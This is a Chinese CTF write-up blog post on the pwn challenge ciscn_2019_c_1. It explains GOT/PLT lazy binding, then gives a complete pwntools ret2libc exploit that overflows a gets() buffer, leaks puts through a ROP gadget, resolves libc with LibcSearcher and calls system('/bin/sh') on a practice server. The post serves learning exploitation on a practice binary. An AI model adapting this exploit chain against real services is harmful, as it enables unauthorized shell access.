ciscn_2019_c_1

ciscn_2019_c_1

这道题的主要应用知识是基本ROP中的retlibc,所以通过这一道题来学习一下retlibc以及复习静态链接和动态链接相关知识

复习

关于动态链接的话,主要是需要知道动态链接库libc.so中的代码映射到内存中结构不变

比如说:

//假设在文件中的地址是0x40030,0x40060,0x40090的相对位置是不变的,
//但是加载进内存后会加一个基地址,
//此时的三个函数地址可能变为0x40130,0x40160,0x40190,
//每一个函数的地址都加了一个基地址0x00100
//因而每个函数的真实地址=文件中的地址(相对位置)+基址

然后是GOT表和PLT表:

GOT表和PLT表的主要作用是函数重定向,这两个表的本质都是指针数组,GOT表存储的是函数的真正地址,PLT表存储的是GOT表中对应函数的地址,其工作原理是发生函数调用时,PLT表会查询GOT的函数的地址,然后再由GOT表调用函数,这也就是延迟绑定机制,

举个例子:

//例如调用read函数
plt['read']->GOT['read'].address
GOT['read']->read.address
//由此可知,当我们使用指令 call [rbp] 时,rbp存储的应该是GOT['read']
//          而我们使用指令 call rbp时,rbp储存的应该是plt['read']

当然这里有一个盲区就是,PLT表是调用外部函数产生的,比如反汇编一个文件,可以有两种函数调用形式

call   0x555555554520 <printf@plt>
call   0x55555555464a <add>
//调用内部函数add函数是不会调用PLT表的,printf函数则是调用外部函数

做题

先检查一下权限:

 

开启NX保护(堆栈不可执行)

然后是IDA看看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  fflush(0LL);
  __isoc99_scanf("%d");
  getchar();
  puts("Something Wrong!");
  return 0;
}


int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}


int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}

然后shift+F12查看字符串:

发现没有system函数,那就需要自己构造了

首先是获取libc,因为plt的延迟绑定机制,所以只能通过已执行的函数来获取libc,而我们的目标是库函数的libc,那么我就选取puts函数为目标,这题相较于之前的一个不同在于要创建两个payload,前者的目的在于获取puts函数的加载地址方便获取之后的libc的基地址,而第二个payload则是重新执行程序,但是这次则是执行真正的system和/bin/sh

来分析一下exp:

from pwn import *
from LibcSearcher import * #导包

content = 0 #充当判断条件flag
context(os='linux', arch='amd64', log_level='debug')#规定上下文环境

ret = 0x4006b9      #因为使用的是Ubuntu,所以需要栈对齐
elf = ELF('ciscn_2019_c_1') #ELF分析工具

puts_plt = elf.plt["puts"]  #获取puts函数的plt表
puts_got = elf.got['puts']  #获取puts函数的got表
main_addr = elf.symbols["main"] #获取main函数的地址

pop_rdi_ret = 0x400c83      #ROPgadget


def main():
    if content == 1:  #条件判断本地还是远程
        p = process('ciscn_2019_c_1')
    else:    
        p = remote('node4.buuoj.cn',26479)

    payload = b'a' * (0x50 + 8) #栈溢出,覆盖字符数组和ebp
    payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    #构造payload,劫持rdi,将rdi修改为puts函数的got表从而调用puts函数来泄露puts函数plt的值,然后返回main函数

    p.sendlineafter('Input your choice!\n', '1')
    p.sendlineafter('Input your Plaintext to be encrypted\n', payload)#接受字符串并发送指定字符串

    p.recvuntil('Ciphertext\n')    #接收指定字符串
    p.recvline() #接收并打印
    puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))#因为地址统一为8位,所以需要填充
    print(puts_addr)     #puts函数的加载地址,也就是真正地址

    libc = LibcSearcher('puts', puts_addr) #puts函数在文件中的地址

    libc_base   = puts_addr - libc.dump('puts')      #基地址
    system_addr = libc_base + libc.dump('system')    #system的真正地址
    binsh_addr  = libc_base + libc.dump('str_bin_sh')    #/bin/sh的真正地址

    payload = b'a' * (0x50 + 8) #重新构建payload
    payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    #覆盖内容和ebp,栈对齐,修改rdi为/bin/sh,然后执行sysytem函数
    p.sendlineafter('Input your choice!\n', '1')
    p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
    
    p.interactive()

main()

 

 

posted @ 2023-06-15 21:20  alexlance  阅读(317)  评论(0编辑  收藏  举报